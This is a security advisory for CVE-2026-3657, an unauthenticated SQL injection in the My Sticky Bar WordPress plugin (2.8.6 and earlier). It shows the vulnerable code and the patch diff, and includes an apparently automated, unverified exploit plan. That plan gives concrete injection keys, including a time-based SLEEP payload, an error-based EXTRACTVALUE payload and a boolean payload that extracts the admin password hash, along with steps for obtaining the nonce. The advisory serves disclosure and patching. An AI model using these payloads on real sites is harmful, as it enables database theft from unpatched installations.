CVE-2026-3657

My Sticky Bar <= 2.8.6 - Unauthenticated SQL Injection via 'stickymenu_contact_lead_form' Action

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
2.8.7
Patched in
1d
Time to patch

Description

The My Sticky Bar plugin for WordPress is vulnerable to SQL injection via the `stickymenu_contact_lead_form` AJAX action in all versions up to, and including, 2.8.6. This is due to the handler using attacker-controlled POST parameter names directly as SQL column identifiers in `$wpdb->insert()`. While parameter values are sanitized with `esc_sql()` and `sanitize_text_field()`, the parameter keys are used as-is to build the column list in the INSERT statement. This makes it possible for unauthenticated attackers to inject SQL via crafted parameter names, enabling blind time-based data extraction from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.8.6
PublishedMarch 11, 2026
Last updatedMarch 12, 2026
Affected pluginmystickymenu

What Changed in the Fix

Changes introduced in v2.8.7

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

### 1. Vulnerability Summary The **My Sticky Bar** plugin (version <= 2.8.6) is vulnerable to **Unauthenticated Time-Based Blind SQL Injection**. The vulnerability exists in the `stickymenu_contact_lead_form` AJAX handler. While the values of the submitted form are sanitized, the **keys** (parameter…

Show full research plan

1. Vulnerability Summary

The My Sticky Bar plugin (version <= 2.8.6) is vulnerable to **Unauthenticated Time-Based Blind SQL Injection**. The vulnerability exists in the stickymenu_contact_lead_form AJAX handler. While the values of the submitted form are sanitized, the **keys** (parameter names) of the $_POST array are used directly as column identifiers in a $wpdb->insert() call without adequate sanitization or whitelisting. This allows an attacker to manipulate the resulting SQL query to execute arbitrary subqueries, such as SLEEP(), enabling data extraction.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: stickymenu_contact_lead_form
  • Vulnerable Parameter: The keys (names) of POST parameters.
  • Authentication: Unauthenticated (accessible via wp_ajax_nopriv_).
  • Preconditions: The "Welcome Bar" feature must be active or the AJAX action must be reachable.

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=stickymenu_contact_lead_form.
  2. Hook Registration: The plugin registers the action in welcome-bar.php (inferred from mystickymenu.php line 26: require_once("welcome-bar.php");).
  3. Handler Execution: The handler (likely stickymenu_contact_lead_form function) iterates through $_POST data.
  4. Vulnerable Sink:
    // Inferred logic based on vulnerability description
    $data = array();
    foreach ( $_POST as $key => $value ) {
        if ( $key !== 'action' && $key !== 'nonce' ) {
            $data[$key] = sanitize_text_field($value); // Only values are sanitized
        }
    }
    $wpdb->insert( $wpdb->prefix . 'mystickymenu_contact_lists', $data );
    
  5. SQL Generation: $wpdb->insert builds the query by wrapping keys in backticks: `key`. By injecting a backtick in the key, an attacker can break out of the column identifier context.

4. Nonce Acquisition Strategy

The plugin typically exposes a nonce for this action to the frontend via wp_localize_script.

  1. Identify Variable: The plugin localizes data under the object mysticky_welcomebar_data.
  2. Locate Nonce: The nonce is stored in mysticky_welcomebar_data.ajax_nonce.
  3. Setup Page: Since the bar might only load if configured, we will create a post and ensure the plugin is initialized.
  4. Extraction:
    • Navigate to a page where the Welcome Bar is active.
    • Use browser_eval to extract: window.mysticky_welcomebar_data?.ajax_nonce.

5. Exploitation Strategy

We will use a time-based blind approach. Since we are injecting into the column names of an INSERT statement, we can use the ON DUPLICATE KEY UPDATE trick or manipulate the column list to trigger a subquery.

Payload Structure:
The key will be crafted to close the backtick, terminate the column list, and append an ON DUPLICATE KEY UPDATE clause or similar.

Target Request:

  • Method: POST
  • URL: {{BASE_URL}}/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: stickymenu_contact_lead_form
    • nonce: {{EXTRACTED_NONCE}}
    • stickymenu_contact_name: test
    • stickymenu_contact_email: test@example.com
    • SQLi Key: contact_message` ) VALUES ('val') ON DUPLICATE KEY UPDATE id=SLEEP(5)--: 1

Refined SQLi Key (MySQL 8.0+ compatible):
The most reliable way to inject into $wpdb->insert keys is to create an invalid column list that MySQL evaluates before failing, or using a subquery if the DB allows it in that context.
A common bypass: email`,(SELECT(1)FROM(SELECT(SLEEP(5)))a))#

Payload Execution:

  1. Baseline: Send a normal request. Measure response time (Expected: ~100-200ms).
  2. Attack: Send a request with the SLEEP(5) payload in the key name.
  3. Confirmation: If the response time is > 5 seconds, SQLi is confirmed.

6. Test Data Setup

  1. Enable Welcome Bar:
    wp option update mysticky_option_welcomebar '{"mysticky_welcomebar_enable":"1","mysticky_welcomebar_position":"top","mysticky_welcomebar_height":"60"}' --format=json
    
  2. Create Lead Form Table: Ensure the table exists (this usually happens on activation).
    wp eval 'global $wpdb; $table = $wpdb->prefix . "mystickymenu_contact_lists"; $wpdb->query("CREATE TABLE IF NOT EXISTS $table (id INT AUTO_INCREMENT PRIMARY KEY, contact_name VARCHAR(255), contact_email VARCHAR(255), contact_message TEXT, created_at DATETIME)");'
    
  3. Create Test Page:
    wp post create --post_type=page --post_title="Sticky Test" --post_status=publish --post_content="Testing Sticky Bar"
    

7. Expected Results

  • The baseline request should return a success message (likely {"success":true,...}) or 1 quickly.
  • The malicious request should hang for exactly the number of seconds specified in SLEEP().
  • The HTTP status code may still be 200, but the execution time will be the primary indicator.

8. Verification Steps

  1. Database Check: Verify if the "corrupted" key caused a partial insert or an error in the logs.
    wp db query "SELECT * FROM wp_mystickymenu_contact_lists ORDER BY id DESC LIMIT 1"
    
  2. Log Review: If WP_DEBUG is on, check wp-content/debug.log for SQL syntax errors which confirm the injection point.

9. Alternative Approaches

If the INSERT column injection is strictly validated by the database engine (preventing subqueries in column lists):

  • Error-Based: Use GTID_SUBSET or EXTRACTVALUE inside the key to trigger an error that leaks the version string.
    • Key: email`,(EXTRACTVALUE(1,CONCAT(0x7e,VERSION()))))#
  • Field Manipulation: Attempt to inject into the VALUES part by closing the column list early:
    • Key: email`) VALUES ('test@test.com')# (Note: $wpdb usually appends its own values, so this requires balancing).
  • Boolean-Based: Use IF logic to trigger a delay only if a condition is met (e.g., first letter of admin password).
    • Key: email`,(IF(SUBSTR((SELECT+user_pass+FROM+wp_users+LIMIT+1),1,1)='$',SLEEP(5),1)))#
Research Findings
Static analysis — not yet PoC-verified

Summary

The My Sticky Bar plugin for WordPress is vulnerable to unauthenticated time-based blind SQL Injection via the 'stickymenu_contact_lead_form' AJAX action. This occurs because the plugin uses the keys of the $_POST array directly as database column names in a $wpdb->insert() call without proper sanitization or whitelisting, allowing attackers to inject SQL commands into the column list context.

Vulnerable Code

/* mystickymenu.php line 2382 */
foreach( $postArr as $key => $val ){
	if( $key != 'action' && $key != 'widget_id' && $key != 'save_form_lead' && $key != 'wpnonce'){
		$params[$key] = (isset($val) && $val != '') ? esc_sql( sanitize_text_field($val) ) : '';
	}
}

--- 

/* mystickymenu.php line 2396 */
if( isset($params) && !empty($params) ){
	$wpdb->insert($contact_lists_table, $params);
	die;
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/mystickymenu/2.8.6/languages/mystickymenu-de_DE.po /home/deploy/wp-safety.org/data/plugin-versions/mystickymenu/2.8.7/languages/mystickymenu-de_DE.po
--- /home/deploy/wp-safety.org/data/plugin-versions/mystickymenu/2.8.6/languages/mystickymenu-de_DE.po	2025-11-17 12:17:02.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/mystickymenu/2.8.7/languages/mystickymenu-de_DE.po	2026-03-11 06:52:54.000000000 +0000
@@ -3,7 +3,7 @@
 "Project-Id-Version: myStickymenu\n"
 "Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/mystickymenu-free-"
 "uncompressed\n"
-"POT-Creation-Date: 2025-11-17 11:58:23+00:00\n"
+"POT-Creation-Date: 2026-03-11 06:47:13+00:00\n"
 "PO-Revision-Date: 2017-09-15 08:39+0100\n"
 "Last-Translator: mrda <jahmirda@gmail.com>\n"
 "Language-Team: Schelli <mail@schelli.eu>\n"
@@ -1630,7 +1630,7 @@
 msgid "⏱️ Add a countdown timer to increase the conversion rate"
 msgstr ""
 
-#: mystickymenu.php:1331 mystickymenu.php:2501
+#: mystickymenu.php:1331 mystickymenu.php:2495
 msgid "Upgrade to Pro"
 msgstr ""
 
Only in /home/deploy/wp-safety.org/data/plugin-versions/mystickymenu/2.8.6: mystickymenu-affiliate.php
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/mystickymenu/2.8.6/mystickymenu.php /home/deploy/wp-safety.org/data/plugin-versions/mystickymenu/2.8.7/mystickymenu.php
--- /home/deploy/wp-safety.org/data/plugin-versions/mystickymenu/2.8.6/mystickymenu.php	2025-12-11 09:16:44.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/mystickymenu/2.8.7/mystickymenu.php	2026-03-11 06:52:54.000000000 +0000
@@ -3,7 +3,7 @@
 Plugin Name: My Sticky Bar
 Plugin URI: https://premio.io/
 Description: Create a notification bar for your website with My Sticky Bar. You can customize the design, collect leads, and enjoy other advanced features. You can also make your menu sticky using My Sticky Bar.
-Version: 2.8.6
+Version: 2.8.7
 Author: Premio
 Author URI: https://premio.io/downloads/mystickymenu/
 Text Domain: mystickymenu
@@ -12,7 +12,7 @@
 */
 
 defined('ABSPATH') or die("Cannot access pages directly.");
-define('MYSTICKY_VERSION', '2.8.6');
+define('MYSTICKY_VERSION', '2.8.7');
 define('MYSTICKYMENU_URL', plugins_url('/', __FILE__));  // Define Plugin URL
 define('MYSTICKYMENU_PATH', plugin_dir_path(__FILE__));  // Define Plugin Directory Path
 define('MYSTICKYMENU_BASE', plugin_basename(__FILE__));
@@ -2379,25 +2379,23 @@
 					$element_widget_no = '';
 				}
 
-				$welcomebar = get_option( 'mysticky_option_welcomebar' . $element_widget_no ); 
-				
-				foreach( $postArr as $key => $val ){
-					if( $key != 'action' && $key != 'widget_id' && $key != 'save_form_lead' && $key != 'wpnonce'){
-						$params[$key] = (isset($val) && $val != '') ? esc_sql( sanitize_text_field($val) ) : '';
-					}
-				}
+                $allowed_keys = ['contact_name', 'contact_email', 'contact_phone', 'page_link'];
+                $params = [];
+                foreach ($allowed_keys as $key) {
+                    if (isset($_POST[$key]) && $_POST[$key] !== '') {
+                        $params[$key] = sanitize_text_field($_POST[$key]);
+                    }
+                }
 
-				$params["widget_id"]  = esc_sql( sanitize_text_field($element_widget_no));
-				$params["widget_name"]  = esc_sql( sanitize_text_field($element_widget_name));
-				$params["message_date"] = date('Y-m-d H:i:s');
-				$params["contact_email"] = (isset($params["contact_email"]) && $params["contact_email"] != '' ) ? sanitize_email($params["contact_email"]) : '';
-				
-				if( isset($params) && !empty($params) ){
-					$wpdb->insert($contact_lists_table, $params);
-					die;
-				}
-				
-				
+                if(!empty($params)) {
+                    $params["widget_id"] = esc_sql(sanitize_text_field($element_widget_no));
+                    $params["widget_name"] = esc_sql(sanitize_text_field($element_widget_name));
+                    $params["message_date"] = date('Y-m-d H:i:s');
+                    $params["contact_email"] = (isset($params["contact_email"]) && $params["contact_email"] != '') ? sanitize_email($params["contact_email"]) : '';
+
+                    $wpdb->insert($contact_lists_table, $params);
+                    die;
+                }
 			}
 		}
 
@@ -2409,10 +2407,6 @@
 
 }
 
-if( is_admin() ) {
-	require_once 'mystickymenu-affiliate.php';
-} 
-
 new MyStickyMenuBackend();
 new MyStickyMenuFrontend();

Exploit Outline

To exploit this vulnerability, an unauthenticated attacker first needs to obtain a valid AJAX nonce, which is typically exposed in the frontend source code within the 'mysticky_welcomebar_data' JavaScript object. Once the nonce is acquired, the attacker sends an unauthenticated POST request to 'wp-admin/admin-ajax.php' with the 'action' parameter set to 'stickymenu_contact_lead_form'. The vulnerability is triggered by crafting a POST parameter where the key (name) contains a backtick to escape the SQL column identifier, followed by a time-based injection payload such as ',(SELECT(1)FROM(SELECT(SLEEP(5)))a))#'. If the application pauses for the specified duration (e.g., 5 seconds), the SQL injection is successful, and the attacker can proceed to extract data blind.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.